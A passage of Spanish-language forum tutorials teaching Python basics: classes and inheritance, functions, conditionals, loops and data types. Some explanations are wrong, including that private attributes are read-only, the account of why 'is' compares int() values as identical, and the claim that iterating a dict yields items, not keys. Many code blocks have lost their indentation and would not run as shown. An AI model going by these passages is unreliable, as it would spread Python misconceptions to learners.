        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miauuu!")
 
    def tomar_leche(self, leche_en_litros):
        self.hambre += leche_en_litros
        print ("El gato toma su leche")
 
    def acariciar(self):
        print ("Prrrrr...")
 
    def jugar(self):
        if self.energia <= 0 or self.hambre <=1:
            print ("El gato no quiero jugar")
        else:
            self.energia -=1
            self.hambre -= 2
            print ("Al gato le encanta jugar")
 
    def dormir(self, horas):
        self.energia += horas
        print ("El gato tomo una siesta")

Al hacer esto la clase Gato ya hereda de la clase Felino y con ello hereda las variables y funciones del Felino. Es decir si ejecutamo gato.rugido() ahora el gato dará un rugido.
Código: (python) [Seleccionar]
gato = Gato(3,3)
# Se creo un gato
 
gato.rugido()
# El felino dio un rugido



Herencia Múltiple


La Herencia múltiple es cuando una clase hereda de varias clases (no solo de una).
En los ejemplos, podemos hacer que la clase Gato herede de Felino y de Mascota:
Código: (python) [Seleccionar]
class Mascota:
    def __init__(self):
        print("Se creo la mascota")
 
    def sientate(self):
        print("La mascota se sentó")

class Felino:
    def __init__(self):
        print("Ha nacido un felino!")

    def rugido(self):
        print("El felino dió un rugido.")

class Gato(Felino, Mascota):
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miauuu!")
 
    def tomar_leche(self, leche_en_litros):
        self.hambre += leche_en_litros
        print ("El gato toma su leche")
 
    def acariciar(self):
        print ("Prrrrr...")
 
    def jugar(self):
        if self.energia <= 0 or self.hambre <=1:
            print ("El gato no quiero jugar")
        else:
            self.energia -=1
            self.hambre -= 2
            print ("Al gato le encanta jugar")
 
    def dormir(self, horas):
        self.energia += horas
        print ("El gato tomo una siesta")


Ahora cuando creemos una instancia del gato podremos usar tanto lo que herede de Felino como lo que herede de Mascota.

Código: (python) [Seleccionar]
gato = Gato(3,3)
# Se creo un gato
 
gato.rugido()
# El felino dio un rugido
 
gato.sientate()
# La mascota se sentó



Polimorfismo


Citar
El polimorfismo se refiere a la posibilidad de definir múltiples clases con funcionalidad diferente, pero con métodos o propiedades denominados de forma idéntica

o también:

Citar
Capacidad que tienen los objetos de una clase de responder al mismo mensaje o evento en función de los parámetros utilizados durante su invocación.

Código: (python) [Seleccionar]
class Gato:
   def ruge(self):
       print("El gato maulla")
 
class Perro:
   def ruge(self):
       print("El perro ladra")
 
def rugir(animal):
    animal.ruge()

gato = Gato()
perro = Perro()
 
rugir(gato)
# 'El gato maulla'
 
rugir(perro)
# 'El perro ladra'

Como vemos, ambas clases tiene una función identica, pero en la función rugir() (la que está afuera), nosotros "seleccionamos" el animal (clase) que rugirá.



Encapsulamiento


Citar
Lo que hace el encapsulamiento es impedir la visualización o acceso de las variables de manera directa. En otros lenguajes esto se logra al momento de declarar la variable como public y private, sin embargo en python es algo distinto. Para declarar una variable o función como privada, el nombre de la función o variable a ser declarado debe comenzar con doble guion abajo. Esto bastará para que lo declarado sea reconocido como privado.

Código: (python) [Seleccionar]
class Ejemplo:
    def __init__(self):
        print("Hola")

    def publica(self):
        print("Soy publica!")

    def __privada(self):
        print("Soy privada!")

e = Ejemplo()
print(e.publica())
print(e.__privada())

Citar
Traceback (most recent call last):
Hola
Soy publica!
None
  File "C:\Users\Barlan\Desktop\ejemplos.py", line 13, in <module>
    print(e.__privada())
AttributeError: 'Ejemplo' object has no attribute '__privada'

Como vemos, no "encuentra" la función __privada, ya que es privada, no se puede acceder a ella. Solo sirve internamente.

También podemos declarar variables privadas:
Código: (python) [Seleccionar]
class ClaseOtroEjemplo:
   def __init__(self):
       self.publico = 'variable publica'
       self.__privado = 'variable privada'
 
   def obtener_privado(self):
       print self.__privado

En __init__ declaramos 2 variables: una pública y una privada.
No se puede acceder a una función privada de manera externa.
Pero en caso necesario, necesitamos una función que devuelva lo que la variable privada contiene.

Entendemos entonces, que la variable privada es solo de lectura, y no se puede modificar.
En cambio, la pública si puede ser consultada, y modificada.


¿Errores, Críticas, Consejos?
Abajo en los comentarios. xD


Te ha hablado Barlan y te deseo... buenas noches.

6
Python / Funciones en Python
« en: Mayo 19, 2015, 02:55:19 pm »



Citar
En programación, una función es un grupo de instrucciones con un objetivo en particular y que se ejecuta al ser llamada desde otra función o procedimiento.



Comenzamos escribiendo la palabra clave def, seguido de un nombre descriptivo (que al momento de leerlo, sepas qué es lo que hará). Luego, se abren y cierran paréntesis, y dentro de ellas podemos colocar parámetros (variables) que el algoritmo (el bloque de código que contendrá la función) usará. Si la función no requiere que se le pasen variables, se puede dejar vacio.
Al final, escribimos los dos puntos ( : )

Código: (python) [Seleccionar]
def nombre(parametro1, parametro2, ..., parametron):
algoritmo(s)



La función creada no servirá de nada hasta que se le llame. Para esto, simplemente escribimos su nombre:
Código: (python) [Seleccionar]
def nombre():
print("Hola")

nombre() #Llamamos la función escribiendo su nombre



Una función puede retornar datos, para esto, se usa la palabra return, seguido de lo que se desea retornar. Además, podemos designar el retorno de datos a una variable:
Código: (python) [Seleccionar]
def funcion():
    return "Hola Mundo"
 
frase = funcion()
print(frase)



Podemos esperar un numero desconocido de variables en una función (como muchos nombres, por ejemplo), así que al momento de pasar esos datos a la función, hacemos lo siguiente:
Código: (python) [Seleccionar]
def recorrer_parametros_arbitrarios(parametro_fijo, *arbitrarios):
    print(parametro_fijo)
 
    # Los parámetros arbitrarios se recorren como tuplas
    for argumento in arbitrarios:
        print(argumento)
 
recorrer_parametros_arbitrarios('Fijo', 'arbitrario 1', 'arbitrario 2', 'arbitrario 3')

Como podemos ver, tenemos una variable fija (de la cual sabemos de antemano que será enviada), pero también tenemos algo entre los paréntesis: *arbitrarios.
Ella nos dice que se están esperando un numero desconocido de variables, y al momento de recibirlas, podemos recorrerlas como si fueran una tupla, imprimiendo cada valor.



Siempre deben de pasarse variables en el orden que la función lo requiera.
Por ejemplo, una función requiere 2 variables tipo string, pero cada una será usada en una operación de condicional.
Código: (python) [Seleccionar]
def saludo(idioma, saludo):
    if idioma == "es":
        print("Idioma: Espanol\nSaludo: %s" % saludo)
    if idioma == "en":
        print("Languaje: English\nRegard: %s" % saludo)

saludo("es", "Hola!")

Primero pasamos el tipo de idioma a usar. Si el idioma que seleccionamos es "es" (Español), nos mostrará un output en Español saludandonos.
Pero si le pasabamos un "en" (Inglés) nos mostrará un output en Inglés.

Si nosotros pasaramos el saludo primero en lugar del idioma que queremos... osea:
Código: (python) [Seleccionar]
saludo("Hola", "es")

No nos mostraría nada, ya que en la función, establecimos que la primera variable sería el idioma, y no el saludo. Así que las condicionales serían falsas.


Podemos definir parametros en los mismos paréntesis, reduciendo la cantidad de variables que se esperan
OJO: Siempre deben de colocarse primero las variables que serán enviadas a la función, seguidas de las variables que definiremos en el mismo paréntesis:
Código: (python) [Seleccionar]
def saludo(saludo, idioma="Espanol"):
    print("Un saludo en el idioma %s: %s" % (idioma, saludo))

saludo("Hola amigos!")
Citar
Un saludo en el idioma Espanol: Hola amigos!



De igual manera, podemos definir las variables al momento de pasarlas a la función:
Código: (python) [Seleccionar]
def hola(saludo):
    print(saludo)

hola(saludo="Hola amigos!")



Tenemos la opción de definir varios parametros al momento de enviarlas a la función (como los arbitrarios). Para esto, necesitamos colocar **kwords en los paréntesis (en lugar de un solo asterisco, ahora usamos 2 asteriscos para diferenciar entre "tuplas", y "diccionarios".
kwords = Keywords (clave=valor)
Código: (python) [Seleccionar]
def idiomas(**kwords):
    for idioma in kwords:
        print(idioma + " : " + kwords[idioma]) # Como podemos ver, concatenamos cada idioma con su valor.

idiomas(espanol="Hola", ingles="Hi!", japones="Konnichiwa")

Citar
espanol : Hola
ingles : Hi!
japones : Konnichiwa



Habrá ocasiones en las que una función espere una cantidad fija de variables, pero nosotros queremos enviar una tupla que contiene datos para el algoritmo de la función.
Para ello, se toma la variable a enviar, y se le envía usando un asterisco. La función sabrá que queremos enviarle una tupla, y dividirá los datos para asignarselos a cada variable.
Código: (python) [Seleccionar]
def calcular(base, altura):
    return base * altura
 
datos = [35, 10]
print(calcular(*datos))   # Nos dará como resultado 35*10, osea: 350



También, puede que en lugar de tupla, querramos enviar un diccionario con los datos a utilizar. Para esto, en lugar de *, usaremos **:
Código: (python) [Seleccionar]
def calcular(base, altura):
    return base * altura

datos = {
    "base": 50,
    "altura": 17
}
print(calcular(**datos))

Citar
850



Llamadas recursivas

Las llamadas recursivas ocurren cuando dentro de una función llamamos a la misma funcion, haciendo que esta se vuelva a ejecutar.
Esto es útil cuando, por ejemplo, hacemos un juego donde tengamos n intentos, y si nos equivocamos, volver a comenzar.

El problema con estas llamadas, es que son fáciles de caer en bucles infinitos, por lo que solo se recomienda su uso cuando ya no hay alguna otra alternativa.

Ejemplo de una llamada:
Código: (python) [Seleccionar]
def jugar(intento=1):
    respuesta = str(input("¿De qué color es una naranja? "))
    if respuesta != "naranja":
        if intento < 3:
            print ("\nFallaste! Inténtalo de nuevo")
            intento += 1
            jugar(intento) # Llamada recursiva
        else:
            print ("\nPerdiste!")
    else:
        print ("\nGanaste!")
jugar()


Algunos otros ejemplos de funciones:


Código: (python) [Seleccionar]
def escaner(*ports):
    for valor in ports:   # Leemos los valores de la tupla ports
        for port in valor:   # Por cada valor encontrado...
            print("[*] Scanning port: " + str(port))

ports = [22, 23, 999, 1024, 9999, 10234, 20302]
escaner(ports)

Resultado:
Citar
  • Scanning port: 22
  • Scanning port: 23
  • Scanning port: 999
  • Scanning port: 1024
  • Scanning port: 9999
  • Scanning port: 10234
  • Scanning port: 20302


Código: (python) [Seleccionar]
def diccionario(**kwords):
    for servicio in kwords:
        print("Escaneando " + servicio + " en puerto: " + kwords[servicio])
servicios = {
    "SSH": "22",
    "Telnet": "23",
    "SMTP": "25",
    "HTTP": "80",
    "IMAP": "143"
}
diccionario(**servicios)

Resultado:
Citar
Escaneando IMAP en puerto: 143
Escaneando SMTP en puerto: 25
Escaneando Telnet en puerto: 23
Escaneando SSH en puerto: 22
Escaneando HTTP en puerto: 80


Ya saben, si encuentran un error, o desean criticar el post abajo en los comentarios pueden hacerlo.
Saludos!

7
Python / Operadores lógicos y Condicionales
« en: Mayo 15, 2015, 03:57:57 pm »

Operadores lógicos


Los operadores lógicos nos permiten agrupar condiciones simples en una estructura condicional, esto nos facilita la implementación de algoritmos más compactos y comprensibles.

En Python, contamos con 3 operadores lógicos:
  • and
  • or
  • not



and

Operador lógico que solo será verdadero si ambas partes que se evalúan son verdaderas.
Ejemplo:
Código: (python) [Seleccionar]
x = int(input("Numero 1: "))
y = int(input("Numero 2: "))

if x <= 10 and y <= 10:
print(True)
else:
print(False)



Como podemos apreciar, solo se imprimirá True si ambos números son menores o iguales a 10.
En caso contrario, si tan solo 1 de ellos es mayor a 10, la condicion será Falsa.


or

Este operador lógico será verdadero si una de las opciones a evaluar es Verdadera. No importa si una es False, y la otra True, or  será verdadera porque hay un True.

Ejemplo:
Código: (python) [Seleccionar]
x = int(input("Numero 1: "))
y = int(input("Numero 2: "))

if x <= 10 or y <= 10:
print(True)
else:
print(False)



Tan solo se necesito un True para que or  también fuese True.
Ingresamos 2 numeros.
Si el primero es menor o igual a 10, o el segundo es menor o igual a 10, se imprimirá un True.
En caso de que AMBOS fuesen False (o mayores a 10), or valdrá False


not

El operador lógico not es usado para negar (lo que en otros lenguajes puede ser asÍ: "!variable")

Ejemplo:
Código: (python) [Seleccionar]
x = int(input("Numero 1: "))
y = int(input("Numero 2: "))

if not x > y:
print(True)
else:
print(False)



Introducimos 2 numeros.
Llegamos al if: Si x no es mayor a y, entonces imprime un True.
Si si lo es, imprimirá un False.



Sentencias condicionales


Citar
En programación, una sentencia condicional es una instrucción o grupo de instrucciones que se pueden ejecutar o no en función del valor de una condición.
Empezemos con if


Condicional: If


La condicional if permite ejecutar una serie de instrucciones según se cumpla un valor.
En inglés, if significa "si..." (condicion)

Sintaxis:
Código: (python) [Seleccionar]
if condición:
instrucción1
instrucción2
.
.
.
instrucción n

Después del if, escribimos la condición a evaluar (y es una expresión lógica), seguido de los dos puntos ( : )
Abajo, escribimos las instrucciónes a ejecutar en caso de que la condición sea verdadera.

Ejemplo:
Un programa nos pide nuestra edad para evaluar si somos mayores de edad. ¿Pero cómo sabrá si lo soy?
En este caso, if nos ayudará:
Código: (python) [Seleccionar]
edad = int(input("Ingresa tu edad: "))

if edad < 18:
print("Eres menor de edad")

print("Tu edad es: ", edad)

La variable edad nos pide nuestra edad (es un numero entero).
Después if hace lo siguiente: Si el número ingresado (mi edad) es menor a 18, ejecutar print("Eres menor de edad"). Además, nos imprimirá nuestra edad al final del programa.

Pero si nosotros ingresamos un valor mayor a 18, no pasara nada, solo nos imprimirá nuestra edad, ya que la condicional if resultará falsa, por lo tanto, no se ejecutará el print("Eres menor de edad").

Otro ejemplo:
Código: (python) [Seleccionar]
nombre = str(input("Tu nombre: "))

if nombre == "pedro":
print("¡Hola, Pedro!")
Realmente no sé si conozcan el significado de "==", pero igual se los pongo:
Citar
"==": Es igual que, es equivalente de, es lo mismo que.

El programa anterior obtiene nuestro nombre (string).
Entonces, if evalua si la cadena que ingresamos es igual que "pedro", osea, revisa nuestra variable, y en caso de que lo que contenga sea "pedro", if será verdadero, y se ejecutará el bloque de instrucciónes abajo.

Si nuestro nombre es "pedro", nos imprimirá: "Hola, pedro!"

Pero en caso de que if sea falso (que no nos llamemos "pedro") el bloque de instrucciones no se ejecutará, y no se imprimirá nada.


El uso de is en If

Citar
Todo objeto tiene una identidad, un tipo y un valor. La identidad de un objeto nunca cambiará una vez creado; puedes pesar que es la dirección del objeto en la memoria. El operador is compara la identidad de 2 objetos; la función id() retorna un entero representando la identidad (actualmente implementada como una dirección).

Hemos visto usar "==" en if's, ¿pero qué hay de los "is"?
Para no confundirnos:
Citar
is      es la comparación de identidad.

==    es la comparación de igualdad.

is retornará True si ambos partes comparadas provienen de un mismo objeto.
Se puede entender mejor con el siguiente ejemplo:

Código: (python) [Seleccionar]
>>> x = []
>>> y = []
>>>
>>> x is y
False
>>>
>>> x == y
True
>>>

A simple vista pueden parecer lo mismo, pero al usarlos es otra realidad.
Primero, tenemos 2 listas. is comparará x e y, y también lo hará ==
Aquí empieza lo confuso:

Tú puedes decir: "Pero si son 2 listas, son la misma cosa". Grave error.
x es una lista.
y es OTRA lista.

Si nosotros modificamos la lista x, la lista y no lo hará, ya que es otro objeto, otra lista.
Pero si nosotros comparamos igualdad ( == ) nos retornará un True, ya que ambas son objetos listas.
Y repito, si nosotros comparamos con is nos retornará False, ya que no provienen del mismo objeto. Podrán ser listas, pero cada lista es diferente.

Otro ejemplo:

Código: (python) [Seleccionar]
>>> n = int()
>>> m = int()
>>> n is m
True
>>>

Como podemos observar, la variable n  y la variable m  parten de un mismo objeto: int()
Al hacer la comparativa, nos devolvió True, porque repito, ambos comienzan de una misma cosa: int()
Si nosotros "imprimimos" int()...

Código: (python) [Seleccionar]
>>> int()
0

Nos devolvió un 0, lo que quiere decir que ambas variables provienen de un 0, por eso vemos un True.

Código: (python) [Seleccionar]
>>> a = 0
>>> b = 0
>>> a is b
True
>>>

Una manera más clara de verlo. a  y b  valen 0.
Ahora, usemos una función predeterminada de python llamada id() para obtener el valor de identidad de cada variable:

Código: (python) [Seleccionar]
>>> id(a)
2012980272
>>> id(b)
2012980272
>>>

Como puedes ver, ambas variables tienen la misma id (identificación), por lo que al comparar con is  , nos devuelve True ya que ambas son identicas.

Ultimo ejemplo:



Cuando nosotros comparamos la variable que nosotros ingresamos con la función predeterminada int(), nos devolvió un False, ya que, como vimos más arriba, al imprimir int() nos devolvió un 0.
Pero cuando comparamos la variable b , que proviene de int(), nos devolvió un True.


Ejemplo enviado por el usuario JaAViEr:
Código: (python) [Seleccionar]
'''
Autor: JaAViEr | 0X5D
Twitter: @javieresteban__
Website: http://codigo.ga
'''
class Programa:
           
        def recorrer(self, variable, subitem=False):
     
                for l in variable:
                   
                            tipo = type(l)
                            if tipo is list:
                           
                                    print "-" * 40
                                    print "Lista:", l
                                    print "Recorriendo elementos de la lista (%s)..." % (len(l))
                                    self.recorrer(l, True)
                                   
                            elif tipo is int:
                           
                                    print "Entero:", l
     
                            elif tipo is str:
                           
                                    if subitem:
                                           
                                            print " ",
                                   
                                    print "String:", l
                                   
                            elif tipo is tuple:
                           
                                    print "-" * 40
                                    print "Tupla:", l
                                    print "Recorriendo elementos de la tupla (%s)..." % (len(l))
                                    self.recorrer(l, True)
     
programa = Programa()
lista = [("Tupla Valor A","Tupla Valor B"), 1, "Javier", ["Elemento A", "Elemento B", "Elemento C"]]
programa.recorrer(lista)

Un ejemplo de "is" en IF y un poquito de recursividad. Recorre la variable "lista", evaluando que tipo de objeto es cada elemento, en caso de que algún elemento sea tipo lista/tupla, entonces recorre también sus elementos y evalúa el tipo de objeto de cada uno de ellos.
La salida sería:
Código: [Seleccionar]
----------------------------------------
Tupla: ('Tupla Valor A', 'Tupla Valor B')
Recorriendo elementos de la tupla (2)...
        String: Tupla Valor A
        String: Tupla Valor B
Entero: 1
String: Javier
----------------------------------------
Lista: ['Elemento A', 'Elemento B', 'Elemento C']
Recorriendo elementos de la lista (3)...
        String: Elemento A
        String: Elemento B
        String: Elemento C


Condicional: If...else


Else es una condición que se ejecuta en caso de que if sea falso.

Sintaxis:
Código: (python) [Seleccionar]
if condición:
instrucción1
instrucción2
.
.
.
instrucciónn
else:
instrucción1
instrucción2
.
.
.
instrucciónn

Ejemplo de uso:

Un programa nos pide un numero, y el mismo evaluará si el numero que ingresamos es menor o igual a 10.
Código: (python) [Seleccionar]
numero = int(input("Ingresa un numero: "))

if numero <= 10:
print("El numero es menor o igual a 10.")
else:
print("El numero es mayor que 10.")

La variable numero contiene un valor numerico entero.
If nos evaluará si el numero contenido ahí es menor o igual a 10. En caso verdadero, se ejecutará el print()

PERO, si if resulta ser falso (si el número es mayor que 10), else será verdadero, y nos imprimirá "El número es mayor que 10."

Otro ejemplo:

Usaremos el code de hace rato, pero ahora lo expandiremos añadiendole un else
Código: (python) [Seleccionar]
nombre = str(input("Ingresa tu nombre: "))

if nombre == "pedro":
print("Hola, Pedro!")
else:
print("¿Quien eres?")

Si el nombre que ingresamos es "pedro", se ejecutará el print("Hola, Pedro!").
Pero si ingresamos otro nombre, se ejecutará el print("Quien eres?")

Asignarle un valor a una variable según sea el caso.

Habrá veces en que una variable necesite un valor en caso de que otra resulte verdadera (o contenga algo).
Como por ejemplo, si nosotros ingresaramos un nombre, y ese nombre tuviera más de 5 digitos, la variable nueva será verdadera.
Para esto, usaremos una función predeterminada de python: len()

Lo que hace len, es imprimir la longitud de una variable.

Por ejemplo:
"Juan".
Juan es un nombre de 4 caracteres.
Pues eso, len() leerá el contenido, y obtendrá la longitud que tenga la variable (osea, 4, si fueramos a leer el nombre "Juan").

Código: (python) [Seleccionar]
nombre = str(input("Ingresa tu nombre: "))

print(len(nombre))



Como podemos ver, Pedro es un nombre de 5 caracteres.
Pues len() imprimirá su longitud.

Igual, Santiago es un nombre de 8 caracteres.

Nada dificil de entender.

Ahora, regresemos a donde nos quedamos:
Código: [Seleccionar]
nombre = str(input("Nombre: "))

if len(nombre) >= 5:
y = True
else:
y = False

print(y)



Ingresamos un nombre, entonces if evaluará si la longitud (len()) es mayor o igual a 5. En caso verdadero, la variable y será verdadera.
Pero en caso falso, la variable y será Falsa.

Una manera de asignarle un valor a una variable de manera cortísima y sencilla es haciendo lo siguiente:

Código: (python) [Seleccionar]
nombre = str(input("Nombre: "))

y = True if len(nombre) >= 5 else False

print(y)



Si, es algo confuso, pero es sencillo.

La variable y  será True si la longitud de la variable nombre es mayor o igual a 5, en caso contrario, será Falsa.

Otro ejemplo:

Código: (python) [Seleccionar]
numero = int(input("Nombre: "))

y = 5 if numero <= 10 else 0

print(y)

Esto quiere decir:
y  valdrá 5 si la variable numero es menor o igual a 10, en caso contrario, valdrá 0.


Condicional: If...elif...else


¿Pero que pasa si aún hay posibilidad de usar una variable?

elif es lo que necesitamos.

Elif es una condicional. Se ejecutará su bloque de código solo si if es falso. Si elif también es falso, se procederá al else
"elif" es una contracción de "else if".
Además, se pueden escribir muchos elif en caso necesario.

Sintaxis:
Código: (python) [Seleccionar]
if condición:
instrucción1
instrucción2
.
.
.
instrucciónn
elif condición:
instrucción1
instrucción2
.
.
.
instrucciónn
else:
instrucción1
instrucción2
.
.
.
instrucciónn

Ejemplo de uso:
Código: (python) [Seleccionar]
edad = int(input("¿Cuántos años tiene? "))

if edad >= 18 and edad < 120:
    print("Es usted mayor de edad")
elif edad < 0:
    print("No se puede tener una edad negativa")
elif edad >= 120:
    print("¿Seguro que tiene", edad, "años?")
else:
    print("Es usted menor de edad")

Lo anterior funciona así:
El programa nos pide una edad (número entero).
Entonces vamos a if. If evaluará si la edad es mayor o igual a 18, y además, si también la edad es menor o igual a 120 (quizás es la edad más avanzada a la que se ha llegado, no tengo idea. xD). En caso verdadero, print hará un "Es usted mayor de edad"

Pero en caso de que if sea falso, procedemos al primer elif:
SI la edad introducida es menor a 0 (osea, un numero negativo), se ejecutará el print("No se puede tener una edad negativa")

Ahora, si también es falso, vamos al otro elif:
Si la edad introducida es mayor a 120 años, pues sería algo increible, puesto que todos vivimos una media de 70-90 años.
Entonces, procede el print("¿Seguro que tiene", edad, "años?")

Pero si ninguna de las anteriores es verdadera, else ejecutará su bloque de instrucciones:
Citar
print("Es usted menor de edad")
Ya que no somos mayores de edad.



Saludos!

8
Python / Bucles en Python
« en: Mayo 15, 2015, 02:50:51 am »
Bucles


Existirán ocasiones en las que queremos mantener un proceso de interacción con el usuario, o simplemente busquemos imprimir ciertas instrucciones una cantidad n de veces.
Para esto, Python nos proporciona 2 opciones: While loop, y For loop.

Estas estructuras cíclicas nos permiten ejecutar un mismo código, de manera repetida, mientras se cumpla una condición.

Es importante (si no es que fundamental) que sepas los operadores de condición, ya que con ellos creamos algoritmos y comparaciónes.
Si no los sabes, aquí están:

Código: (python) [Seleccionar]
x != y     # x no es igual a y
x > y      # x es mayor que y
x < y      # x es menor que y
x >= y     # x es mayor o igual que y
x <= y     # x es menor o igual que y


While Loops


La condicional While ejecuta una instrucción mientras algo sea verdadero (o falso). Podemos imprimir desde 5 veces, hasta el infinito y más alla...!

Sintaxis:
Código: (python) [Seleccionar]
while expresión:
   instrucción(es)

El código de arriba funciona así:
Mientras algo sea verdadero ejecutar:
        Instrucción (o instrucciónes)

Ejemplo de uso:
Código: (python) [Seleccionar]
variable = int(input("Numero: "))

while variable <= 100:
print(variable)



Como vemos, el numero ingresado se imprimirá infinitamente, ya que no cambiará nunca su valor, y no será más grande o igual a 100.
Para corregir esto, agregamos la siguiente linea de código:
Código: (python) [Seleccionar]
variable = int(input("Numero: "))

while variable <= 100:
print(variable)
variable += 1    # Cada vez que se imprima la variable, se le sumará 1 a ella.



Explicación:
La variable "variable" nos pide que ingresemos un número entero.
Entonces, ejecutamos una condicional:
Código: (python) [Seleccionar]
while variable <= 100:
Quiere decir:
Mientras la variable sea menor o igual a 100...
Esto quiere decir, que se ejecutará la instrucción hasta que la variable alcance un valor igual o mayor a 100.
Código: (python) [Seleccionar]
variable += 1Y lo que hace esta linea, es sumarle 1 a nuestra variable. También se puede representar así:
Código: (python) [Seleccionar]
variable = variable + 1Simplemente le agregaremos a nuestra variable un 1.

También podemos usar valores booleanos (True o False) en while:
Código: (python) [Seleccionar]
while True:
print("Underc0de")

Lo anterior imprimiría la cadena "Underc0de" el suficiente tiempo para que puedas verlo a la edad de los 80 años. Osease, siempre se imprimirá la cadena, a menos de que algo la interrumpa (como un KeyboardInterrupt, o cerrar la consola)



For loop



For nos permite recorrer cada elemento de una variable, cadena, o conjunto de datos.

Ejemplo:
Código: (python) [Seleccionar]
mi_lista = ["Pablo", "Antonio", "Juan", "Mauricio"]
for nombre in mi_lista:
    print(nombre)

Lo anterior quiere decir: Recorre cada cosa que esté en la lista de arriba, e imprimela.
Cada valor en la lista se le asignará a la variable nombre, la cual se imprime.

También podemos "emular" while desde un for, usando la instrucción range():



Otro ejemplo:
Tenemos 2 listas, ambas con 3 nombres. Pero yo quiero unir todos los nombres en la primera lista, ¿cómo puedo yo hacerlo? Fácil:
Código: (python) [Seleccionar]
lista1 = ["Pedro", "Pablo", "Jorge"]
lista2 = ["Luis", "Carlos", "Julio"]

for nombre in lista2:
lista1.append(nombre)

print(lista1)



El bucle for recorre cada elemento de la segunda lista, guardando ese elemento en la variable nombre, y después, agregarlo a la primera lista con la instrucción append()




Saludos!

9
Python / Tipos de datos en Python
« en: Mayo 14, 2015, 03:03:39 am »
Tipos de datos

Enteros (int):
Tipo de variable que almacena numeros enteros (sin punto decimal)
Ejemplos:
  • a = 1
  • b = 30
  • c = 123
  • d = 2024
Para comprobar si una variable es tipo entero, introducimos el siguiente comando:
Citar
type(a)
Lo que hace es imprimir la clase de variable que se pasa. Si nosotros le pasamos la variable "a", imprimirá un <class 'int'>, lo que significa que es un entero.





Strings (str):
(También llamadas "cadenas") Conjunto de caracteres contenidos dentro de comillas (simples o dobles).
Ejemplos:
  • nombre = "Eduardo"
  • cadena = 'Hello, world!'

Concatenar cadenas:
Para concatenar strings, se toma una variable (o cadena), y se le añade el operador "+", que representa la concatenación (o unión de cadenas). Al final, se agrega la otra variable o cadena.
Ejemplo:
Código: (python) [Seleccionar]
cadena1 = "Hola, "
cadena2 = "mundo!"

cadena3 = cadena1 + cadena2
Y nos imprime: "Hola, mundo!"

Imprimir varias cadenas a la vez:
Si queremos imprimir una cadena varias veces, simplemente hacemos esto:
Código: (python) [Seleccionar]
cadena = "Hola"

print(cadena * 10)
Y nos imprime: "HolaHolaHolaHolaHolaHolaHolaHolaHolaHola" (osea, imprime 10 veces la cadena "Hola")

Cortar y leer una cadena:
A veces necesitamos buscar una palabra en especifico, así que podemos usar los siguientes métodos:
Código: (python) [Seleccionar]
str = 'Hola, mundo!

print (str)          # Imprime la cadena completa
print (str[0])       # Imprime solo el primer caracter
print (str[2:5])     # Imprime desde el 3er caracter hasta el 5to
print (str[2:])      # Imprime la cadena comenzando el 3er caracter
(Recuerden, el primer caracter es 0, así que al decir [2:], estamos diciendo que comenzará desde el 3er caracter.

 +---+---+---+---+---+---+
 | P | y | t | h | o | n |
 +---+---+---+---+---+---+
 0   1   2   3   4   5   6
-6  -5  -4  -3  -2  -1

Recorrer cada caracter de una cadena:
Podemos imprimir cada caracter contenido dentro de una cadena haciendo lo siguiente;
Código: [Seleccionar]
cadena = "Hola, mundo!"

for x in cadena:    # Por cada caracter en la variable cadena...
    print(x)    # Imprimimos ese caracter.
Lo cual nos dará como resultado:
Citar
H
o
l
a
,
 
m
u
n
d
o
!




Listas (list):
Conjunto de datos contenidos dentro de corchetes, y separados por comas.
Ejemplo:
  • [1, 2, 3, 4, 5]
  • ["Hola", "mundo", "!"]
  • ["Hola", 23, "cadena", 139, "!", 4131]

Acceder a su contenido:
Código: (python) [Seleccionar]
lista = [1,2,3,4,5]
lista2 = [6,7,8,9,10]

print (lista)          # Imprime la primera lista
print (lista[0])       # Imprime el primer valor de la primera lista
print (lista[1:3])     # Imprime valores comenzando desde el 2do hasta el 4to.
print (lista[2:])      # Imprime comenzando desde el 3er valor
print (lista2 * 2)  # Imprime la segunda lista 2 veces
print (lista + lista2) #Concatena (o une) las 2 listas, lo cual imprime 1,2,3,4,5,6,7,8,9,10
Lo cual nos imprime:
Citar
[1, 2, 3, 4, 5]
1
[2, 3]
[3, 4, 5]
[6, 7, 8, 9, 10, 6, 7, 8, 9, 10]
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]





Tuplas (tuple):
Conjunto de datos contenidos entre parentesis.
No se debe de confundir con las listas, ya que las tuplas son read-only, quiere decir que no se pueden modificar, solo leer.
Ejemplo:
Código: (python) [Seleccionar]
tuple = ( 'Pablo', 786 , 2.23, 'Juan', 70.2  )
tupla2 = (123, 'Martín')

print (tuple)           # Imprime la primera tupla
print (tuple[0])        # Imprime el primer valor de la primera tupla
print (tuple[1:3])      # Imprime desde el 2do valor hasta el 3er valor
print (tuple[2:])       # Imprime desde el 3er valor
print (tupla2 * 2)   # Imprime la segunda tupla 2 veces
print (tuple + tupla2) # Concatenamos las 2 tuplas e imprimimos

¿Qué no se puede hacer?
No podemos declarar un nuevo valor, ejemplo:
Código: (python) [Seleccionar]
tuple = ( 'Pablo', 786 , 2.23, 'Juan', 70.2  )
tuple[5] = "Mundo"
Nos lanza el siguiente error:
Citar
TypeError: 'tuple' object does not support item assignment
Quiere decir: El objeto tupla no soporta nuevos valores.




Diccionarios (dict):
Citar
En otros lenguajes, a los diccionarios se los llama arrays asociativos, matrices asociativas, o también tablas de hash.
Colección no-ordenada de valores que son accedidos a traves de una clave.
Ejemplo:
Código: (python) [Seleccionar]
diccionario = {
"Hola": 1,
"mundo": 2,
"!": 3
}
print(diccionario)


Imprimiendo items:
Podemos imprimir la clave de un item haciendo lo siguiente:
Código: (python) [Seleccionar]
diccionario = {
"Hola": 1,
"mundo": 2,
"!": 3
}

print(diccionario["Hola"])
Y nos imprime: 1

Declarando nuevos valores:
Hay veces en que queremos crear un diccionario y añadirle valores nosotros mismos (a veces en tiempo de ejecución). Para eso, solo necesitamos hacer esto:
Código: (python) [Seleccionar]
diccionario2 = {} #Diccionario vacio
diccionario2["valor1"] = 50
diccionario2["valor2"] = 100

print(diccionario2)

Recorriendo el diccionario:
Código: (python) [Seleccionar]
diccionario = {
"Hola": 1,
"mundo": 2,
"!": 3
}

for valor in diccionario:
print(valor)
Citar
Hola
!
mundo


Hacer esto nos imprime los items, mas no las claves.
Para ello, hacemos esto:
Código: (python) [Seleccionar]
diccionario = {
"Hola": 1,
"mundo": 2,
"!": 3
}

for valor in diccionario:
print(valor, ":", diccionario[valor])
Citar
mundo : 2
Hola : 1
! : 3

